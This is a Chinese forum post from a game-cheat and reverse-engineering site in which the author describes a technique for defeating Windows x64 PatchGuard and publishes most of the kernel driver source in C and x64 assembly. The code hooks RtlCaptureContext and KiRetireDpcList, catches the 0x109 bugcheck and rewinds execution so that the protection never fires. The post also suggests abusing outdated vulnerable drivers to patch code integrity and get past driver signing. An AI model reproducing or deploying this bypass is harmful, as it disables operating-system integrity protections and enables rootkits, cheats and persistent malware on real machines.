龙马谷

 找回密码
 立即注册

QQ登录

只需一步,快速开始

龙马谷VIP会员办理客服QQ:82926983(如果临时会话没有收到回复,请先加QQ好友再发。)
1 [已完结] GG修改器新手入门与实战教程 31课 2 [已完结] GG修改器美化修改教程 6课 3 [已完结] GG修改器Lua脚本新手入门教程 12课
4 [已完结] 触动精灵脚本新手入门必学教程 22课 5 [已完结] 手游自动化脚本入门实战教程 9课 6 [已完结] C++射击游戏方框骨骼透视与自瞄教程 27课
7 [已完结] C++零基础UE4逆向开发FPS透视自瞄教程 29课 8 [已完结] C++零基础大漠模拟器手游自动化辅助教程 22课
以下是天马阁VIP教程,本站与天马阁合作,赞助VIP可以获得天马阁对应VIP会员,名额有限! 点击进入天马阁论坛
1 [已完结] x64CE与x64dbg入门基础教程 7课 2 [已完结] x64汇编语言基础教程 16课 3 [已完结] x64辅助入门基础教程 9课
4 [已完结] C++x64内存辅助实战技术教程 149课 5 [已完结] C++x64内存检测与过检测技术教程 10课 6 [已完结] C+x64二叉树分析遍历与LUA自动登陆教程 19课
7 [已完结] C++BT功能原理与x64实战教程 29课 8 [已完结] C+FPS框透视与自瞄x64实现原理及防护思路
查看: 4528|回复: 0

过Patchguard的梗 附相关驱动源码

[复制链接]

14

主题

3

回帖

22

积分

编程入门

Rank: 1

龙马币
48

     这里我研究的问题只有Patchguard怎么让丫去死,至于DSE这种东西,随便找个过时的有任意代码执行问题的驱动(比如DCR,VBOX,金山某士)去Patch一下CI就可以了。今天我也不是来跟人分享VMX或者patch文件那些无功夫的过PG手法。

  我今天要做的是继续以前老外的pg的梗(由于我的笔记本跑win8不能10秒开机,所以只能用win7来撸)。

  老外有几篇关于PG攻击的文章:
  http://www.mcafee.com/in/resourc ... ting-patchguard.pdf
  http://www.uninformed.org/?v=3&a=3&t=sumry
  http://www.uninformed.org/?v=8&a=5&t=sumry
  http://www.zer0mem.sk/?p=271
  
  不过统统不能解决真正的问题,最后一个连接除外。不过其中的分析让我们知道两件事儿,第一件事儿是PG的蓝屏是通过DPC或者TIMER调用KeBugCheckEx来的。第二件事儿是PG调用KeBugCheckEx的时候,会恢复KeBugCheckEx上的修改。

  通过读老外的文章我们知道通过DPC来的必须经过KiRetireDpcList这个玩意才能到达蓝屏(而通过TIMER来的经过的函数比较奇怪,这里也不想管他)。

  老外有一个思路就是hook KeBugCheckEx来处理TIMER的PG引发的0x109蓝屏,但是因为KeBugCheckEx有恢复hook的可能(新的PG是复制了BugCheck的代码),所以我选择了一个KeBugCheckEx内部的调用的函数来进行挂钩,然后通过堆栈读出RCX判断一下错误号,这个调用函数也是老外早就提供好的就是RtlCaptureContext。
  
  到这里我都和老外的思路近似,之后后面就不一样了。我只有2个hook点,我不想判断DPC是不是PG的,也不研究线程TIMER的枚举,我直接在KiRetireDpcList这里保存运行环境(CONTEXT),然后继续调用KiRetireDpcList代码,然后保存的恢复运行环境(RIP修好)。

  如果发生了0x109蓝屏,那么经过我挂钩的RtlCaptureContext时,我主动插入一个DPC到DPC链条去,然后恢复保存的CONTEXT到Call KiRetireDpcList处的去重新执行的话(也就是说,把时光倒流了),这时候PG就无法蓝屏了。但是这里有一个小问题,如果来自线程TIMER的PG蓝屏,则不能开蜘蛛的大招 回到过去 去Pass掉TIMER。不过windows的机制让我知道如果在pg的timer里的时候,IRQL应该是PASSIVE级别的,在PASSIVE级别的话,可以将整个执行流程跳入线程开始去直接运行(这点是老外的资料里发现然后结合windbg调试出来的)。
  
  那么我绕过PG的工具设计思路就是:
  1. //有2个hook点!
  2. //RtlCaptureContext-->保存ecx等物-->OrgCap-->ProcPatchGuard-->其他
  3. //                                          -->ECX==109 ,来自BugCheck-->修复STACK,重新插入空DPC
  4. //                                                                      -->如果IRQL是PASSIVE,则CallPointer去
  5. //                                                                      -->不是PASSIVE,则恢复环境-->到KiRetireDpcList重新执行DPC序列
  6. //KiRetireDpcList -->保存环境-->原始-->还原环境
复制代码



处理PG的主逻辑核心代码:hook库请自行准备了,至于KiRetireDpcList的定位,我是用符号文件定位的,其实也可以通过注册一个DPC去做回溯得到。

  1. #include "stdafx.h"

  2. typedef struct _HOOK_CTX
  3. {
  4.     ULONG64 rax;                 
  5.     ULONG64 rcx;
  6.     ULONG64 rdx;               
  7.     ULONG64 rbx;               
  8.     ULONG64 rbp;
  9.     ULONG64 rsi;                 
  10.     ULONG64 rdi;
  11.     ULONG64 r8;                  
  12.     ULONG64 r9;
  13.     ULONG64 r10;                 
  14.     ULONG64 r11;
  15.     ULONG64 r12;                 
  16.     ULONG64 r13;
  17.     ULONG64 r14;                 
  18.     ULONG64 r15;
  19.     ULONG64 Rflags;
  20.     ULONG64 rsp;
  21. }HOOK_CTX,*PHOOK_CTX;

  22. typedef VOID (*TRtlCaptureContext)(PCONTEXT ContextRecord);

  23. extern VOID AdjustStackCallPointer(
  24.     IN ULONG_PTR NewStackPointer,
  25.     IN PVOID StartAddress,
  26.     IN PVOID Argument);

  27. extern CHAR GetCpuIndex();
  28. extern VOID HookKiRetireDpcList();
  29. extern VOID HookRtlCaptureContext();
  30. extern VOID BackTo1942();
  31. static ULONG g_ThreadContextRoutineOffset = 0;
  32. static ULONG64 g_KeBugCheckExAddress=0;
  33. static UINT g_MaxCpu=0;

  34. KDPC  g_TempDpc[0x100];
  35. ULONG64 g_CpuContextAddress=0;
  36. ULONG64 g_KiRetireDpcList=0;

  37. //有2个hook点!
  38. //RtlCaptureContext-->保存ecx等物-->OrgCap-->ProcPatchGuard-->其他
  39. //                                          -->ECX==109 ,来自BugCheck-->修复STACK,重新插入空DPC
  40. //                                                                      -->如果IRQL是PASSIVE,则CallPointer去
  41. //                                                                      -->不是PASSIVE,则恢复环境-->到KiRetireDpcList重新执行DPC序列
  42. //KiRetireDpcList -->保存环境-->原始-->还原环境

  43. HOOK_INFO OrgRtlCaptureContext;
  44. HOOK_INFO OrgKiRetireDpcList;

  45. //真心刁!
  46. VOID
  47.     PgTempDpc(
  48.     IN struct _KDPC *Dpc,
  49.     IN PVOID DeferredContext,
  50.     IN PVOID SystemArgument1,
  51.     IN PVOID SystemArgument2
  52.     )
  53. {
  54.     return ;
  55. }
  56. VOID OnRtlCaptureContext(PHOOK_CTX hookCtx)
  57. {
  58.     ULONG64 Rcx;
  59.     PCONTEXT pCtx = (PCONTEXT)(hookCtx->rcx);
  60.     ULONG64 Rip = *(ULONG64 *)(hookCtx->rsp);
  61.     TRtlCaptureContext OldRtlCaptureContext;
  62.     OldRtlCaptureContext = (TRtlCaptureContext)OrgRtlCaptureContext.Bridge;

  63.     OldRtlCaptureContext(pCtx);

  64.     pCtx->Rsp = hookCtx->rsp+0x08;
  65.     pCtx->Rip = Rip;
  66.     pCtx->Rax = hookCtx->rax;
  67.     pCtx->Rbx = hookCtx->rbx;
  68.     pCtx->Rcx = hookCtx->rcx;
  69.     pCtx->Rdx = hookCtx->rdx;
  70.     pCtx->Rsi = hookCtx->rsi;
  71.     pCtx->Rdi = hookCtx->rdi;
  72.     pCtx->Rbp = hookCtx->rbp;

  73.     pCtx->R8 =   hookCtx->r8;
  74.     pCtx->R9 =   hookCtx->r9;
  75.     pCtx->R10    =   hookCtx->r10;
  76.     pCtx->R11    =   hookCtx->r11;
  77.     pCtx->R12    =   hookCtx->r12;
  78.     pCtx->R13    =   hookCtx->r13;
  79.     pCtx->R14    =   hookCtx->r14;
  80.     pCtx->R15    =   hookCtx->r15;


  81.     Rcx = *(ULONG64 *)(hookCtx->rsp+0x48);
  82.     //一开始存储位置rcx=[rsp+8+30]
  83.     //call之后就是[rsp+8+30+8]
  84.      
  85.     if(Rcx==0x109)
  86.     {
  87.         //PG的蓝屏!
  88.         if (Rip>=g_KeBugCheckExAddress && Rip <=g_KeBugCheckExAddress+0x64)
  89.         {
  90.             
  91.             //来自KeBugCheckEx的蓝屏
  92.             // 先插入一个DPC
  93.             //检测IRQL的级别,如果是DPC_LEVEL的,则传说中的回到过去的技术。
  94.             //如果是普通的,则跳入ThreadContext即可
  95.             PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
  96.             PVOID StartRoutine  = *(PVOID **)(CurrentThread + g_ThreadContextRoutineOffset);
  97.             PVOID StackPointer  = IoGetInitialStack();
  98.             CHAR  Cpu = GetCpuIndex();
  99.             KeInitializeDpc(&g_TempDpc[Cpu],
  100.                 PgTempDpc,
  101.                 NULL);
  102.             KeSetTargetProcessorDpc( &g_TempDpc[Cpu], (CCHAR)Cpu );
  103.             //KeSetImportanceDpc( &g_TempDpc[Cpu], HighImportance);
  104.             KeInsertQueueDpc( &g_TempDpc[Cpu], NULL, NULL );
  105.             if(1){
  106.                 //应该判断版本再做这个事儿!
  107.                 PCHAR StackPage = (PCHAR)IoGetInitialStack();
  108.                  
  109.                 *(ULONG64 *)StackPage = (((ULONG_PTR)StackPage+0x1000) & 0x0FFFFFFFFFFFFF000);//stack起始的MagicCode,
  110.                 // 如果没有在win7以后的系统上会50蓝屏
  111.             }
  112.             if (KeGetCurrentIrql()!=PASSIVE_LEVEL)
  113.             {
  114.                 //时光倒流!
  115.                 BackTo1942();//回到call KiRetireDpcList去了!
  116.             }
  117.             //线程TIMER的直接执行线程去!
  118.             AdjustStackCallPointer(
  119.                 (ULONG_PTR)StackPointer - 0x8,
  120.                 StartRoutine,
  121.                 NULL);
  122.         }
  123.     }
  124.     return ;
  125. }
  126. VOID JmpThreadContext()
  127. {
  128.     PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
  129.     PVOID StartRoutine  = *(PVOID **)(CurrentThread + g_ThreadContextRoutineOffset);
  130.     PVOID StackPointer  = IoGetInitialStack();

  131.     AdjustStackCallPointer(
  132.         (ULONG_PTR)StackPointer - 0x8,
  133.         StartRoutine,
  134.         NULL);
  135. }

  136. VOID DisablePatchProtectionSystemThreadRoutine(
  137.     IN PVOID Nothing)
  138. {
  139.     PUCHAR         CurrentThread = (PUCHAR)PsGetCurrentThread();
  140.     for (g_ThreadContextRoutineOffset = 0;
  141.         g_ThreadContextRoutineOffset < 0x1000;
  142.         g_ThreadContextRoutineOffset += 4)
  143.     {
  144.         if (*(PVOID **)(CurrentThread +
  145.             g_ThreadContextRoutineOffset) == (PVOID)DisablePatchProtectionSystemThreadRoutine)
  146.             break;
  147.     }

  148.     if (g_ThreadContextRoutineOffset<0x1000)
  149.     {
  150.         g_KeBugCheckExAddress = (ULONG64)GetCALLByName(L"KeBugCheckEx");
  151.          
  152.         g_MaxCpu = (UINT)KeNumberProcessors;

  153.         g_CpuContextAddress = (ULONG64)ExAllocatePool(NonPagedPool,0x200*g_MaxCpu+0x1000);

  154.         if (!g_CpuContextAddress)
  155.         {
  156.             return ;
  157.         }
  158.         
  159.         RtlZeroMemory(g_TempDpc,sizeof(KDPC)*0x100);
  160.         RtlZeroMemory((PVOID)g_CpuContextAddress,0x200 * g_MaxCpu);

  161.         HookFunction(pCfgData->_KiRetireDpcList,(ULONG_PTR)HookKiRetireDpcList,&OrgKiRetireDpcList);
  162.          
  163.         g_KiRetireDpcList = (ULONG64)(OrgKiRetireDpcList.Bridge);

  164.         HookFunction((ULONG_PTR)GetCALLByName(L"RtlCaptureContext"),(ULONG_PTR)HookRtlCaptureContext,&OrgRtlCaptureContext);
  165.     }
  166. }

  167. NTSTATUS DisablePatchProtection() {
  168.     OBJECT_ATTRIBUTES Attributes;
  169.     NTSTATUS          Status;
  170.     HANDLE            ThreadHandle = NULL;

  171.     InitializeObjectAttributes(
  172.         &Attributes,
  173.         NULL,
  174.         OBJ_KERNEL_HANDLE,
  175.         NULL,
  176.         NULL);


  177.     Status = PsCreateSystemThread(
  178.         &ThreadHandle,
  179.         THREAD_ALL_ACCESS,
  180.         &Attributes,
  181.         NULL,
  182.         NULL,
  183.         DisablePatchProtectionSystemThreadRoutine,
  184.         NULL);

  185.     if (ThreadHandle)
  186.         ZwClose(
  187.         ThreadHandle);

  188.     return Status;
  189. }
  190. VOID InitDisablePatchGuard()
  191. {
  192.     DisablePatchProtection();
  193. }
复制代码


汇编代码部分:

  1. EXTERN g_CpuContextAddress:QWORD;
  2. EXTERN OnRtlCaptureContext:PROC;
  3. EXTERN g_KiRetireDpcList:QWORD;

  4. .CODE
  5. public AdjustStackCallPointer
  6. AdjustStackCallPointer PROC
  7.     mov rsp, rcx
  8.     xchg r8, rcx
  9.     jmp rdx
  10. AdjustStackCallPointer ENDP

  11. public GetCpuIndex
  12. GetCpuIndex PROC
  13.     mov     al, gs:[52h]
  14.     movzx   eax, al
  15.     ret
  16. GetCpuIndex ENDP


  17. public RestoreCpuContext
  18. RestoreCpuContext PROC
  19.                  push    rax
  20.                  sub     rsp, 20h
  21.                  call    GetCpuIndex
  22.                  add     rsp, 20h
  23.                  mov     r11, 170h
  24.                  mul     r11
  25.                  mov     r11, rax
  26.                  add     r11, g_CpuContextAddress
  27.                  pop     rax
  28.                  mov     rsp, [r11+48h]
  29.                  mov     rbx, [r11+40h]
  30.                  mov     [rsp+0], rbx
  31.                  movdqa  xmm0, xmmword ptr [r11+50h]
  32.                  movdqa  xmm1, xmmword ptr [r11+60h]
  33.                  movdqa  xmm2, xmmword ptr [r11+70h]
  34.                  movdqa  xmm3, xmmword ptr [r11+80h]
  35.                  movdqa  xmm4, xmmword ptr [r11+90h]
  36.                  movdqa  xmm5, xmmword ptr [r11+0A0h]
  37.                  movdqa  xmm6, xmmword ptr [r11+0B0h]
  38.                  movdqa  xmm7, xmmword ptr [r11+0C0h]
  39.                  movdqa  xmm8, xmmword ptr [r11+0D0h]
  40.                  movdqa  xmm9, xmmword ptr [r11+0E0h]
  41.                  movdqa  xmm10, xmmword ptr [r11+0F0h]
  42.                  movdqa  xmm11, xmmword ptr [r11+100h]
  43.                  movdqa  xmm12, xmmword ptr [r11+110h]
  44.                  movdqa  xmm13, xmmword ptr [r11+120h]
  45.                  movdqa  xmm14, xmmword ptr [r11+130h]
  46.                  movdqa  xmm15, xmmword ptr [r11+140h]
  47.                  mov     rbx, [r11]
  48.                  mov     rsi, [r11+8]
  49.                  mov     rdi, [r11+10h]
  50.                  mov     rbp, [r11+18h]
  51.                  mov     r12, [r11+20h]
  52.                  mov     r13, [r11+28h]
  53.                  mov     r14, [r11+30h]
  54.                  mov     r15, [r11+38h]
  55.                  mov     rcx, [r11+150h]
  56.                  mov     rdx, [r11+158h]
  57.                  mov     r8, [r11+160h]
  58.                  mov     r9, [r11+168h]
  59.                  ret
  60. RestoreCpuContext ENDP

  61. public BackTo1942
  62. BackTo1942 PROC
  63.                  sub     rsp, 20h ;时光倒流
  64.                  call    GetCpuIndex
  65.                  add     rsp, 20h
  66.                  mov     r11, 170h
  67.                  mul     r11
  68.                  mov     r11, rax
  69.                  add     r11, g_CpuContextAddress
  70.                  mov     rax, [r11+40h]
  71.                  sub     rax, 5
  72.                  mov     [r11+40h], rax  ; 这里直接RIP=RIP-5,也就是回到Call KiXX的5字节指令
  73.                  jmp     RestoreCpuContext
  74. BackTo1942 ENDP

  75. public HookKiRetireDpcList
  76. HookKiRetireDpcList PROC
  77.                  push    rcx
  78.                  push    rdx
  79.                  push    r8
  80.                  push    r9
  81.                  sub     rsp, 20h
  82.                  call    GetCpuIndex
  83.                  add     rsp, 20h
  84.                  pop     r9
  85.                  pop     r8
  86.                  pop     rdx
  87.                  pop     rcx
  88.                  mov     r11, 170h
  89.                  mul     r11
  90.                  add     rax, g_CpuContextAddress ; RAX = g_CpuContext[CpuIndex]
  91.                  mov     [rax], rbx
  92.                  mov     [rax+8], rsi
  93.                  mov     [rax+10h], rdi
  94.                  mov     [rax+18h], rbp
  95.                  mov     [rax+20h], r12
  96.                  mov     [rax+28h], r13
  97.                  mov     [rax+30h], r14
  98.                  mov     [rax+38h], r15
  99.                  movdqa  xmmword ptr [rax+50h], xmm0
  100.                  movdqa  xmmword ptr [rax+60h], xmm1
  101.                  movdqa  xmmword ptr [rax+70h], xmm2
  102.                  movdqa  xmmword ptr [rax+80h], xmm3
  103.                  movdqa  xmmword ptr [rax+90h], xmm4
  104.                  movdqa  xmmword ptr [rax+0A0h], xmm5
  105.                  movdqa  xmmword ptr [rax+0B0h], xmm6
  106.                  movdqa  xmmword ptr [rax+0C0h], xmm7
  107.                  movdqa  xmmword ptr [rax+0D0h], xmm8
  108.                  movdqa  xmmword ptr [rax+0E0h], xmm9
  109.                  movdqa  xmmword ptr [rax+0F0h], xmm10
  110.                  movdqa  xmmword ptr [rax+100h], xmm11
  111.                  movdqa  xmmword ptr [rax+110h], xmm12
  112.                  movdqa  xmmword ptr [rax+120h], xmm13
  113.                  movdqa  xmmword ptr [rax+130h], xmm14
  114.                  movdqa  xmmword ptr [rax+140h], xmm15
  115.                  mov     [rax+150h], rcx
  116.                  mov     [rax+158h], rdx
  117.                  mov     [rax+160h], r8
  118.                  mov     [rax+168h], r9
  119.                  mov     r11, [rsp]
  120.                  mov     [rax+40h], r11
  121.                  mov     r11, rsp
  122.                  mov     [rax+48h], r11
  123.                  lea     rax, RestoreCpuContext
  124.                  mov     [rsp],rax
  125.                  jmp     g_KiRetireDpcList
  126. HookKiRetireDpcList ENDP

  127. public HookRtlCaptureContext
  128. HookRtlCaptureContext PROC
  129.     push rsp
  130.     pushfq
  131.     push r15
  132.     push r14
  133.     push r13
  134.     push r12
  135.     push r11
  136.     push r10
  137.     push r9
  138.     push r8      
  139.     push rdi
  140.     push rsi
  141.     push rbp
  142.     push rbx
  143.     push rdx
  144.     push rcx
  145.     push rax
  146.     mov rcx,rsp
  147.     sub rsp,28h
  148.     call OnRtlCaptureContext
  149.     add rsp, 28h   
  150.     pop rax
  151.     pop rcx
  152.     pop rdx
  153.     pop rbx
  154.     pop rbp
  155.     pop rsi
  156.     pop rdi
  157.     pop r8
  158.     pop r9
  159.     pop r10
  160.     pop r11
  161.     pop r12
  162.     pop r13
  163.     pop r14
  164.     pop r15
  165.     popfq
  166.     pop rsp
  167.     ret
  168. HookRtlCaptureContext ENDP
  169. END
复制代码


为了防止无意义的抄袭和不思考的代码利用者,这里就不提供完整工程了。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

龙马谷| C/C++辅助教程| 安卓逆向安全| 论坛导航| 免责申明|Archiver|
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表龙马谷立场!
任何人不得以任何方式翻录、盗版或出售本站视频,一经发现我们将追究其相关责任!
我们一直在努力成为最好的编程论坛!
Copyright© 2018-2021 All Right Reserved.
在线客服
快速回复 返回顶部 返回列表